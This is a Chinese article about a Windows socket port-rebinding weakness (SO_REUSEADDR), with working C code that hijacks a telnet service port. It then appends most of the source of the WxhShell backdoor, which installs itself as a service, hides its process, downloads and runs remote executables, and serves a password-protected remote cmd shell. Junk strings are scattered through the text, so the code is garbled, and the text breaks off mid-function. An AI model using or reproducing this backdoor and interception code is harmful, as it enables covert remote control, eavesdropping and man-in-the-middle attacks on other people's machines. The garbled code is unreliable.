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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -j9R%+YW< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !lF|90= 6X:-Z3 saddr.sin_family = AF_INET; #|8!0]n' Sk$XC saddr.sin_addr.s_addr = htonl(INADDR_ANY); T`=N^Ca1!` )N2yhdcqI bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `#X{. ";e0-t6: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $sO}l 7j&l2Z 这意味着什么?意味着可以进行如下的攻击: s^9N7' R#bg{| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f(?`PD[ +Z[%+x92 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0p$?-81BJ q#PGcCtu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MT#9x> nZN]Q9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 TR@$$RrU "O|fX\}5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $(}kau Y^S0K'N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (w% hz'] cuquA ~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g m], s:cS 9A8 #include 0tB9X9 :, #include sa+:c{ #include rsP-?oD8) #include $b$r,mc DWORD WINAPI ClientThread(LPVOID lpParam); yZFvpw|g int main() 6M$.gX
G. { Qq]UEI `Go WORD wVersionRequested; bTHa;* ` DWORD ret; ^ I,1kl~i WSADATA wsaData; &TWO/F+Y BOOL val; 5
|C;]pq SOCKADDR_IN saddr; n]coqJ SOCKADDR_IN scaddr; 8yFD2(# int err; Zml9ndzT SOCKET s; 8N-~ .p SOCKET sc; wQnr*kyza int caddsize; K{>O.5 HANDLE mt; W.:kE|a.g DWORD tid; %v~j10e wVersionRequested = MAKEWORD( 2, 2 ); 7X}_yMxc err = WSAStartup( wVersionRequested, &wsaData ); 9i|6 if ( err != 0 ) { 0#*\o1r\p printf("error!WSAStartup failed!\n"); '}4[m>/ return -1; W {dx\+ } Z{_'V+Q1 saddr.sin_family = AF_INET; 7@tr^JykO ^#^u90I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~P6K)V|@< L1C'V/g saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /'VCJjzZ saddr.sin_port = htons(23); ocgbBE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~T4=Id { x5`q)!<& printf("error!socket failed!\n"); JG}U,{7( return -1; xI:;%5{LN } ( v
~/glf val = TRUE; Z^GriL //SO_REUSEADDR选项就是可以实现端口重绑定的 #2HygS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aeBth{ { 4VU5}"< printf("error!setsockopt failed!\n"); S-f3rL[? return -1; 2,QkktJLo } 6lWO8j^BN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i,yK&*>JJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $V~%$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Va*Uwy?x/) s9[v_(W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .=@M>TZM { dqKTF_+VhA ret=GetLastError(); bh7 1Zu printf("error!bind failed!\n"); & vLX return -1; w@%W{aUC } ;:$Na= listen(s,2); @Qc['V) while(1) qo.
6T { /
V{w< caddsize = sizeof(scaddr);
0U/:Tpyr //接受连接请求 *iC
t4J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IG9Q~7@ if(sc!=INVALID_SOCKET) [?IERE!xQ { h0^V!.-5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); caj) if(mt==NULL) nW drVT$ { 10}Zoq|)n printf("Thread Creat Failed!\n"); hCxL4LrF break; z~VA#8> } -O_UpjR; } [#9ij3vxd CloseHandle(mt); C,IN+@ } #JLDj(a? closesocket(s); 9C4l@jrF WSACleanup(); IYCKF/2o return 0; -I_lCZ{Nbi } R<U?)8g,h~ DWORD WINAPI ClientThread(LPVOID lpParam) 2bxT%xH:g { ~y|%D; SOCKET ss = (SOCKET)lpParam; A|>C3S SOCKET sc; q90S>c, unsigned char buf[4096]; EhD|\WLx! SOCKADDR_IN saddr; 2Qy!Aa long num; %*19S.=l DWORD val; }zobIfIF DWORD ret; pKH4?F //如果是隐藏端口应用的话,可以在此处加一些判断 \
qs6% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 H|TzD"2N saddr.sin_family = AF_INET; Bw#ubQJ8} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #63/;o:l$ saddr.sin_port = htons(23); %#]T.g
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?D\%ZXo { s?6 7@\ printf("error!socket failed!\n"); Q[b({Vj;tG return -1; h3)KT+7. } q!H3JL val = 100; #/tdZ0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) - 5k4vx
N} { OUdeQO? ret = GetLastError(); Bs1-UI}+ return -1; <HzAh<_@F } \YKh'|04 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PCLSY8N { =:g^_Hy ret = GetLastError(); hx2C<;s4 return -1; $>h#|?*? } %&]}P;& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~lF lv+,% { &
9]KkY= printf("error!socket connect failed!\n"); t~a$|(
9 closesocket(sc); ^6LFho4 closesocket(ss); n5JB'F) return -1; ~NcJLU!au } NuooA while(1) a[$.B2U { g~y9j88? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G4{qWa/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 2?r8>#_* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r2](~&i2 num = recv(ss,buf,4096,0); fM|g8(TK, if(num>0) bK].qN send(sc,buf,num,0); hv"toszj\ else if(num==0) 6>L. )V break; __V]HcP; num = recv(sc,buf,4096,0); ^2AF:(E if(num>0) 3H%HJS send(ss,buf,num,0); _5K_YhT else if(num==0) k,@J& break; 1 IlR } O\LW
8\M closesocket(ss); |ber:1 closesocket(sc); R`**!ku return 0 ; #PrV)en } wr$}AX g_>ZE vW{cBy ========================================================== `;_tt_ f~q&.,I( 下边附上一个代码,,WXhSHELL KJ)nGoP> _ <;Q=?'* ========================================================== pNqf2CnnT ft'iv #include "stdafx.h" VA%"IAl Fkz #include <stdio.h> K8UAz" #include <string.h> jzj{{D[^ #include <windows.h> Gtg)%` #include <winsock2.h> Ky yG8;G% #include <winsvc.h> XsOOkf\_ #include <urlmon.h> _M&.kha bg ,}J/ #pragma comment (lib, "Ws2_32.lib") r9M={jC #pragma comment (lib, "urlmon.lib") |tg?b&QR |x6mkSf]ke #define MAX_USER 100 // 最大客户端连接数 8Wj=|Ow-q #define BUF_SOCK 200 // sock buffer NVjJ/ #define KEY_BUFF 255 // 输入 buffer }m9LyT=~$ ;/V@N |$n #define REBOOT 0 // 重启 ~^^ey17 #define SHUTDOWN 1 // 关机 [\b_+s)eN )RYnRC#O #define DEF_PORT 5000 // 监听端口 H{f_:z{{ L,
{rMLM% #define REG_LEN 16 // 注册表键长度 |%}s$*s #define SVC_LEN 80 // NT服务名长度 2*citB{ X?6h>%) k // 从dll定义API vaj66nV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IPO[J^#Me typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q@2tT&eL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x
ctU.)p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Idlu1g CJ?gjV6 // wxhshell配置信息 m"G N^V7 struct WSCFG { PEBFN int ws_port; // 监听端口 q~J
oGTv char ws_passstr[REG_LEN]; // 口令 '%EZoc/U int ws_autoins; // 安装标记, 1=yes 0=no d# 3tQ*G/ char ws_regname[REG_LEN]; // 注册表键名 LO]6Xd" char ws_svcname[REG_LEN]; // 服务名 ]|N4 #4 char ws_svcdisp[SVC_LEN]; // 服务显示名 j#e.rNG char ws_svcdesc[SVC_LEN]; // 服务描述信息 #eC;3Kq#- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~RXpz-Ye int ws_downexe; // 下载执行标记, 1=yes 0=no 'Y[A'.*}4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" p??/r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B/=q_.1F> x~;EH6$5'/ }; :Nz?<3R0\ vSYKe // default Wxhshell configuration Q
H_W\W struct WSCFG wscfg={DEF_PORT, Tdwwtbe "xuhuanlingzhe", ,%h!% nz! 1, R9l7CJM@ "Wxhshell", &ZE\@Vc "Wxhshell", ;x-H$OZX "WxhShell Service", |2@en=EYk "Wrsky Windows CmdShell Service", S7kT3zB "Please Input Your Password: ", 9"aFS=>< 1, 4$aO;Z_ " http://www.wrsky.com/wxhshell.exe", *9vA+uN "Wxhshell.exe" ey)u7-O }; ZCBPO~&hO' Blbq3y+Sq // 消息定义模块 ~"0@u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -2&i)S0R char *msg_ws_prompt="\n\r? for help\n\r#>"; mhk/>+hF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?{: D,{+ char *msg_ws_ext="\n\rExit."; um jhG6 char *msg_ws_end="\n\rQuit."; y|.fR>5 char *msg_ws_boot="\n\rReboot..."; NGD*ce"w char *msg_ws_poff="\n\rShutdown..."; Q0cY/'>4 char *msg_ws_down="\n\rSave to "; gKN}Of@^1 L"foL char *msg_ws_err="\n\rErr!"; XY{:tR_al char *msg_ws_ok="\n\rOK!"; VI24+h'J )_8}53C char ExeFile[MAX_PATH]; S9p?* int nUser = 0; h `ME(U~<< HANDLE handles[MAX_USER]; BMNr<P2li int OsIsNt; *AH^%!kVP C.>
SERVICE_STATUS serviceStatus; i<m$#6<Z SERVICE_STATUS_HANDLE hServiceStatusHandle; +~d1;0l| (a
`FS,M // 函数声明 x=5P+_ int Install(void); C]'g:93L int Uninstall(void); "#pzZ)Zh int DownloadFile(char *sURL, SOCKET wsh); PXosFz~ int Boot(int flag); S= -M3fP~ void HideProc(void); V5a?=vK9 int GetOsVer(void); 2vc\= int Wxhshell(SOCKET wsl); vUYJf99B void TalkWithClient(void *cs); A)hhnb0o int CmdShell(SOCKET sock); !7*(!as int StartFromService(void); efjO8J[uk- int StartWxhshell(LPSTR lpCmdLine); .Z=Ce! I1)-,/nEjg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )'5<6Q.] VOID WINAPI NTServiceHandler( DWORD fdwControl ); %X4-a%512 ivzAlwP // 数据结构和表定义 v**z$5x9 SERVICE_TABLE_ENTRY DispatchTable[] = >?5xDbRj { fw' r. {wscfg.ws_svcname, NTServiceMain}, jJ
aV {NULL, NULL} lwOf)jK:J }; u#+RUtM 9g
Bjxqm // 自我安装 3;a
R\:p@w int Install(void) c^=R8y-N { :N@U[Wx0A char svExeFile[MAX_PATH]; ;1W6"3t-Y HKEY key; $Z;B QJVH strcpy(svExeFile,ExeFile); g5#CN:%f Gg%tVQu // 如果是win9x系统,修改注册表设为自启动 fcRj if(!OsIsNt) { yo'9x
s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X>8-`p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M$Fth*q{GD RegCloseKey(key); J&eAL3"GF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N = LM?(H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Ct_$.Q. RegCloseKey(key); W+gpr|R2 return 0; 4xm&pQo{V6 } '>3`rsu } x;]x_fz } &%^K,Q" else { k-"<{V ]9jZndgC // 如果是NT以上系统,安装为系统服务 __!m*!sd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E4+b-?PB~ if (schSCManager!=0) $$JIBf8 { ll^DY
hx} SC_HANDLE schService = CreateService 4`nqAX~'f ( ?6i;)eIOI schSCManager, 3AURzU wscfg.ws_svcname, }Y Q:6I wscfg.ws_svcdisp, &=6%> SERVICE_ALL_ACCESS, <cYp~e%xIw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *z0K%@M SERVICE_AUTO_START, D(Qa>B"1 SERVICE_ERROR_NORMAL, W57&\PXYn svExeFile, TPHYz>D] NULL, |olNA*4 NULL, !!FR[NK NULL, 9\v.qo. NULL, ~m=$VDWm NULL S'o ]=& ); .Y1bY := if (schService!=0) 2FGx _Y { 2MuO*.9D CloseServiceHandle(schService); 0q{[\51*
CloseServiceHandle(schSCManager); R2w`Y5#` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &5u BNpH strcat(svExeFile,wscfg.ws_svcname); iZQ\
m0Zc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mDfwn7f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #vQ? RegCloseKey(key); QY@u}&m%o return 0; LM:)j:gS6 } d$K=c1 } I"1CgKYK^+ CloseServiceHandle(schSCManager); e*:}$u8a } JA`H@qE } 0Uw
^FcW 1Bg_FPu return 1; y"vX~LR } Cxm6TO`-; xuUx4,Z // 自我卸载 S[mM4et| int Uninstall(void) T~X41d\ { D`VFf\7 HKEY key; Vclr2]eV4O EMlIxpCn: if(!OsIsNt) { %c X"#+e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >,"sHm}l% RegDeleteValue(key,wscfg.ws_regname); ,=|4:F9
RegCloseKey(key); Vl<9=f7[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ne4c%?>t RegDeleteValue(key,wscfg.ws_regname); CWi8Fv RegCloseKey(key); < Dd% return 0; W"Q!|#;l. } _ h9o@ } ',ZF5T5z@ } ;
0ko@ \Lq else { %/T7Z;d ^s{hs(8%R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :p>hW!~ if (schSCManager!=0) :CaTP% GW { ZenPw1 - SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S`iR9{+& if (schService!=0) ewnfeg1 { rbyY8
bX if(DeleteService(schService)!=0) { Zu21L3 CloseServiceHandle(schService); s+,&|;Q CloseServiceHandle(schSCManager); -7%X] return 0; ffE#^| } eA=WGy@IcN CloseServiceHandle(schService); *Qkc[XHqy } =eBmBn CloseServiceHandle(schSCManager); z/ 7$NxJH } 3;_
n{& } -(#-I$z 51 b y return 1; ~W03{9(Vp8 } l -.(Ez* pu4,0bw // 从指定url下载文件 xWE8Wm int DownloadFile(char *sURL, SOCKET wsh) CzVmNy)kl { KX3KM!* HRESULT hr; `8:K[gp char seps[]= "/"; $`ztiVu3 char *token; 2f{T6=SK char *file; i sW\MB] char myURL[MAX_PATH]; sJZ!sznn char myFILE[MAX_PATH]; 8TWTbQ CQ^3v09N;~ strcpy(myURL,sURL); 9(, @aZ token=strtok(myURL,seps); Y3'," while(token!=NULL) qZk:mlYd { A\$
>>Z file=token; =X(%Svnp token=strtok(NULL,seps); t6lE#<xZV; } n~g LPHY idc4Cf+4 GetCurrentDirectory(MAX_PATH,myFILE); A\QJLWBv^$ strcat(myFILE, "\\"); 7:Ztuc] strcat(myFILE, file); ?=Db@97 send(wsh,myFILE,strlen(myFILE),0); O#eZ<hNV send(wsh,"...",3,0); 9V
0}d2d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?&X6:KJQ if(hr==S_OK) Tu m_aI return 0; g|%L"-%gJ else C#Bz>2;# return 1; |<qs nJZ6?
V } H(-4:BD? UMMB0(0D // 系统电源模块 60}! LmL int Boot(int flag) 9$1)k;ChP/ { 9em*r9- HANDLE hToken; {1-V]h.<J TOKEN_PRIVILEGES tkp; iwF9[wAft A??@AP[7M if(OsIsNt) { }#`:Qb \U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @f1*eo5f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V[;M&=," tkp.PrivilegeCount = 1; lr@#^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8g~EL{' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q]% T:A= if(flag==REBOOT) { T:iP="?{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _.V?A* return 0; Sq2P-y!w } NHQF^2 \\ else { 3l1cyPv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jO~:<y3
= return 0; X~9j$3lUBR } =L-I-e97@ } F<&!b2)ML else { ,
YW|n:X if(flag==REBOOT) { ;xYNX
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
CE%_A[a return 0; %O[N}_XHEh } kv{}C)kt3 else { 1B=>_3_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,*svtw:2') return 0; !Ng=Yk>3 } ~P*4V]L^ } PWr(*ZP>hI =8{WZCW5 return 1; +A8j@d#: } MGpt}|t- ;#/@+4@a& // win9x进程隐藏模块 f3MRD4+- void HideProc(void) &&>tf%[ { 0(TTw(; !CTxVLl"F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J([s5:.[ if ( hKernel != NULL ) Z|lU8`'5 { s1N?/>lmB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t=
#&fSR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =EP13J FreeLibrary(hKernel); / |r' } &53]sFZ
G3i !PwW return; =+:{P?*} } J:*-gwv9*m y046:@v( // 获取操作系统版本 D;}xr_ int GetOsVer(void) pKUP2m`MW { K5>p89mZ OSVERSIONINFO winfo; 2}6%qgnT- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l |2D/K5 GetVersionEx(&winfo); SLL3v,P(7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /1UOT\8U return 1; \Q?ip&R else rqPo)AL return 0; ]}="m2S3 } `r"+644 JuR"J1MY // 客户端句柄模块 o G*5f int Wxhshell(SOCKET wsl) G3P&{.v { 6fo3:P*O SOCKET wsh; K)tQ]P struct sockaddr_in client; "p&Y^] DWORD myID; CqMhk d[^KL;b?6 while(nUser<MAX_USER) z4%uN|V { ipnV$!z int nSize=sizeof(client); HAz By\M{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |077Sf| if(wsh==INVALID_SOCKET) return 1; s9;#!7ms 6 gL=u-2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rk<@?(l!6x if(handles[nUser]==0) Yf,K#' h: closesocket(wsh); "Mw[P [w* else 7"F*u : nUser++; #AkV/1Y } !3n)|~r;K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5@IB39 1J=.N|(@Q return 0; aimarU } qU2~fNY k %e^kej // 关闭 socket {R<Ea
@LV+ void CloseIt(SOCKET wsh) >zsid: {
/-_=nf}w closesocket(wsh); x5`br.b nUser--; |:[tNs*,O ExitThread(0); +CH},@j } K;?,FlH <~ad:[ // 客户端请求句柄 `pf4X/Py void TalkWithClient(void *cs) 6oaazB^L { h!~3Dw>,N o+`6LKg; SOCKET wsh=(SOCKET)cs; l&4,v char pwd[SVC_LEN]; <U5wB]] char cmd[KEY_BUFF]; uzmk6G
v char chr[1]; ]w T 7*( Y int i,j; S:4crI WG*t::NN while (nUser < MAX_USER) { >^q7c8]~g XZ&KR.C, if(wscfg.ws_passstr) { +d+@u)6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w\54j)rb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P./V6i<: //ZeroMemory(pwd,KEY_BUFF); S=R7`a<.5 i=0; +;$oJJ while(i<SVC_LEN) { +a&p$\ /kL$4CA // 设置超时 5$DHn] fd_set FdRead; Tus}\0/i> struct timeval TimeOut; |b-9b& FD_ZERO(&FdRead); `p;eIt FD_SET(wsh,&FdRead); M;cO0UIwO TimeOut.tv_sec=8; D']ZlB'K TimeOut.tv_usec=0; bwVPtu` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yKYUsp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5>3}_ d(vsE%/! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EXP%Mk/ pwd =chr[0]; U4m9e|/H;z if(chr[0]==0xd || chr[0]==0xa) { {Q+gZcu pwd=0; R>DaOH2K* break; (8v7|Pe8 } w%WF-:u7| i++; Q-ni| } kKD`rfyG\ #-pc}Y|< // 如果是非法用户,关闭 socket {o5V7*P;_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o,U9}_|A } JnHo 9K2. !d<"nx[2` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k(zsm"<q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V.os REZJ}%}/ while(1) { vN2u34 d(g^M1m ZeroMemory(cmd,KEY_BUFF); F+ E|r6'i 91Uj}n% // 自动支持客户端 telnet标准 iX0iRC6f j=0; u6`=x$& while(j<KEY_BUFF) { xs\!$*R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K;LZ- cmd[j]=chr[0]; ? uYu`Ojzr if(chr[0]==0xa || chr[0]==0xd) { .(pN5JI* cmd[j]=0; Q{k
At% break; 8G5Da|\ } ;'81jbh j++; f|y:vpd% } wApMzZ(X2y i)#s.6.D> // 下载文件 LL|7rS|o if(strstr(cmd,"http://")) { ,J`'Y+7W send(wsh,msg_ws_down,strlen(msg_ws_down),0); nW;g28 if(DownloadFile(cmd,wsh)) aM7uBx\8 5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .{;Y'Zc14S else RI68%ZoL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sXd8rj:o } rr#K"SP else { Vd=yr'? B||;' switch(cmd[0]) { .VTy[|o K}6dg< // 帮助 Cy*|&=>j case '?': { `"qP send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0IQ'3_ break; {.yStB.T } ]xguBh ] // 安装 /y^7p9Z` case 'i': { F:6SPY
y if(Install()) =]-j;#'& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6a;v&5 else FQ>`{%> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}\[Gr break; q>w)"Dd } cBo{/Tn: // 卸载 }K8/-d6 case 'r': { !QDQ_ if(Uninstall()) #
O4gg send(wsh,msg_ws_err,strlen(msg_ws_err),0); JHf else 1SrJ6W @j[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4%1D}9hO6 break; rQ=,y>-* } l4TpH|k // 显示 wxhshell 所在路径 'ejvH;V3i case 'p': { " R8KQj char svExeFile[MAX_PATH]; Hcc"b0>}{ strcpy(svExeFile,"\n\r"); Ela-,(Glk strcat(svExeFile,ExeFile); M-i_#EWP send(wsh,svExeFile,strlen(svExeFile),0); &Q}*+Y]G break; Xn~I=Ml d } $.Q$`/dF // 重启 _-5,zPR case 'b': { rp5(pV7* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
BUwONF if(Boot(REBOOT)) RxMH!^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[H{(f1% else { :SxW.?[%u closesocket(wsh); ;/j= Ny{9 ExitThread(0); p-+K4 } 8EVgoJ. break; BL 3gKx.' } a,78l@d( // 关机 (%O@r!{ case 'd': { s}pIk.4ot! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D1nq2GwS if(Boot(SHUTDOWN)) w,R[C\#J send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;pl,~ else { 2< hAa9y closesocket(wsh); 3BpZX`l*p ExitThread(0); =TqQbadp } yjJ5P`j] break; /O]t R } n ]dL?BJ // 获取shell pH`44KAuM case 's': { p _d:eZ CmdShell(wsh); KRjV}\} closesocket(wsh); =}PdH`S ExitThread(0); BcD&sQ2F break; c$wsH25KH8 } nNXgW // 退出 D/h/Y) Y case 'x': { Jjl`_X$CB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Fb>8<% CloseIt(wsh); 4[r/}/iGo break; fr!Pj(Q1 } Py{<bd // 离开 (MHAJ]Rx case 'q': { d6i6hcQE send(wsh,msg_ws_end,strlen(msg_ws_end),0); cWajrLw closesocket(wsh); GU Q{r!S WSACleanup(); 4Z|vnj)Z exit(1); ~SSU` break; JF/,K"J } 1He{v# } @AYRiOodi } J~(Wf%jM~ ;\MW$/[JCy // 提示信息 Hi]cxD*` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mw5?[@G- } WL{(Ob } h_d<! /pp1~r.s?> return; j1 =`| } cwV]!=RtO 5[n(7;+gw // shell模块句柄 JMdPwI int CmdShell(SOCKET sock) r <
cVp^ { 3Tq\BZ STARTUPINFO si; ^9-&o ZeroMemory(&si,sizeof(si)); X>?b#Eva si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mc!Xf[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )#F]G$51r PROCESS_INFORMATION ProcessInfo; q64k7<C, char cmdline[]="cmd"; 16SOIT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /s];{m|>
return 0; >&!RWH9*q } vy,&N^P $)H@|<K // 自身启动模式 ,YhdY6 int StartFromService(void) Cye$H9 2 { }KhjlPhx typedef struct -uh(?])H { OIl#DV. DWORD ExitStatus; qaim6a DWORD PebBaseAddress; 21RP=0Q: DWORD AffinityMask; t*@z8<H DWORD BasePriority; eiJ2NwR\w ULONG UniqueProcessId; Vb
qto|X@ ULONG InheritedFromUniqueProcessId; ,7XtH>2s } PROCESS_BASIC_INFORMATION; 'Peni1_ (Z5##dS3 PROCNTQSIP NtQueryInformationProcess; &Z?ut*%S "7>>I D static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OGiV{9U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dz>;<&2Z *Ei|fe$sa HANDLE hProcess; 0q\7C[R_ PROCESS_BASIC_INFORMATION pbi; `"@ X.}\ m`6Yc:@E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W(RF n`g\ if(NULL == hInst ) return 0; oUQ07z\C @Mvd'.r<; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i
